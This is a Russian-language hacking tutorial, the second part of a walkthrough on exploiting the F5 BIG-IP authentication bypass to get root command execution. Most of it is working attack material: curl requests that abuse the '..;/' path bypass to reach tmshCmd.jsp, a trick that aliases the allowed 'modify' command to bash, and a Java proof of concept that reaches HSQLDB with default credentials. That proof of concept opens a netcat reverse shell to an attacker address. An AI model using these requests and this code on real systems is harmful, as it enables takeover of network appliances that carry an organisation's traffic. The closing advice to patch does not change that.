Взлом устройств F5 networks через уязвимости в BIG-IP. Часть 2

Взлом устройств F5 networks через уязвимости в BIG-IP. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

/usr/local/www/tmui/WEB-INF/web.xml 

<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping> 

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java 

28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63:   public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81:       String cmd = WebUtils.getProperty(request, "command");
82:       if (cmd == null || cmd.length() == 0) {
83:         logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84:       } else {
85:         JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86:         tmshResult = resultObject.toString(); 

Здесь на вход принимается параметр command, который затем передается в метод WorkspaceUtils.runTmshCommand. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java 

01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46:   public static JSONObject runTmshCommand(String command) {
...
51:     String operation = command.split(" ")[0];
...
53:       try {
54:         String[] args = { command };
55:         Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56:         output = result.getOutput();
57:         error = result.getError(); 

Здесь происходит парсинг строки, которую мы передавали в command, и затем вызов Syscall.callElevated. Как видно из названия, этот метод вызывает команду Syscall.TMSH с повышенными привилегиями. 

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java 

13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78:   public static final int TMSH = ShellCommandT.SC_TMSH.intValue(); 

Класс com.f5.mcp.schema.ltm.ShellCommandT находится в файле f5.rest.mcp.schema.jar. Декомпилируем и заглядываем в него. 

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java 

01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70:   public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94:   protected ShellCommandT(String tokenName, long tokenValue) {
95:     super("shell_command_t", tokenName, tokenValue);
96:   } 

TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости. 

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java 

162: public static Result callElevated(int command, String[] args) throws CallException {
163:   return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203:   Connection c = null;
204:   try {
...
206:     c = ConnectionManager.instance().getConnection();
...
209:     c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210:     ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211:     DataObject query = om.newObject();
212:     query.put((SchemaAttribute)ShellCall.COMMAND, command);
213:     query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214:     query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215:     DataObject[] rs = om.queryStats(query);
216:     if (rs != null && rs.length > 0)
217:       return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS)); 

Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin.

Просмотр списка администраторов BIG-IP через утилиту TMSH

Теперь сделаем то же самое, только через уязвимость. 

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
Выполнение команд TMSH через уязвимость в F5 BIG-IP

Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash модуля util.

Список команд модуля util

Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.

Страница мануала команды bash в TMSH

Любые команды из модуля util можно вызывать как при помощи run, так и прямо из командной строки. 

  • run /util bash -c id
  • bash -c id
Разные варианты выполнения команд в bash через TMSH

Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
Попытка вызвать произвольную команду через уязвимость в BIG-IP

Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp производит несколько проверок. 

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java 

52:     if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) { 

Метод ShellCommandValidator.checkForBadShellCharacters проверяет наличие запрещенных символов в строке. В расстрельный список попали: 

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r 

WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java 

24: public static boolean checkForBadShellCharacters(String value) {
25:   char[] cArray = value.toCharArray();
26:   for (int i = 0; i < cArray.length; i++) {
27:     char c = cArray[i];
28:     if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29:       return true; 
30:   } 
31:   return false;
32: } 

Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции. 

operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify") 

Как видишь, возможно выполнить только четыре команды TMSH: createdeletelist и modify. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared и private. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list, удалить — delete, а создать новый при помощи create.

Список общих (shared) псевдонимов в TMSH

Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий. 

Командой create cli alias private modify command bash создаем в зоне видимости пользователя алиас с именем modify, который будет вызывать команду bash

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s 

Теперь modify -c id выполнит необходимую команду. В моем случае это id

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s 

Затем delete cli alias private modify — удаляем созданный алиас во избежание проблем. 

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s
Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя

Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit

К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается. 

RCE через HyperSQL 

В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd проксируют по URI /hsqldb

/etc/httpd/conf.d/proxy_ajp.conf 

ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5 

Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти. 

curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
Обход авторизации для доступа к HSQLDB

HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль. 

Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку 

192.168.31.140 localhost.localdomain 

Разумеется, IP должен быть твоей виртуалки! Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации. 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

01: package com.f5rce;
02: 
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06: 
07: public class Main {
08: 
09:     public static void main(String[] args) throws Exception {
10:         Class.forName("org.hsqldb.jdbcDriver");
11:         String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/"; 

Теперь имя пользователя и пароль. 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password",""); 

Подключаемся к БД. 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

15: try {
16:     Connection c = DriverManager.getConnection(connectionURL, props);
17:     Statement stmt = null;
18:     ResultSet result = null; 

Теперь выполняем простенький запрос 

SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS"); 

Получаем результат и выводим в консоль. 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

21:     while (result.next()) {
22:         System.out.println("Got result: " + result.getString(1));
23:     }
24:     result.close();
25:     stmt.close();
26: } catch (SQLException e) {
27:     e.printStackTrace();
28: }
Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP

Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java. 

Сначала проверим classpath — пути, откуда подгружаются библиотеки: 

CALL "java.lang.System.getProperty"('java.class.path') 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
Получение classpath через HSQLDB в BIG-IP

Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий: 

com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext 

Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar, который мы уже декомпилировали. 

WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java 

01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13:   static {
14:     Properties props = new Properties();
15:     System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16:     System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45:   public static void setRequestContext(String object, String screen) {
46:     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47:     currentObject.set(current);
48:   } 

Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec(). Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e. Делаем через него бэкконнект. 

/hsqldb-poc-rce/src/com/f5rce/Main.java 

20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21:         "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");
Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB

Заключение 

Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик. 

После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.

Источник


Report Page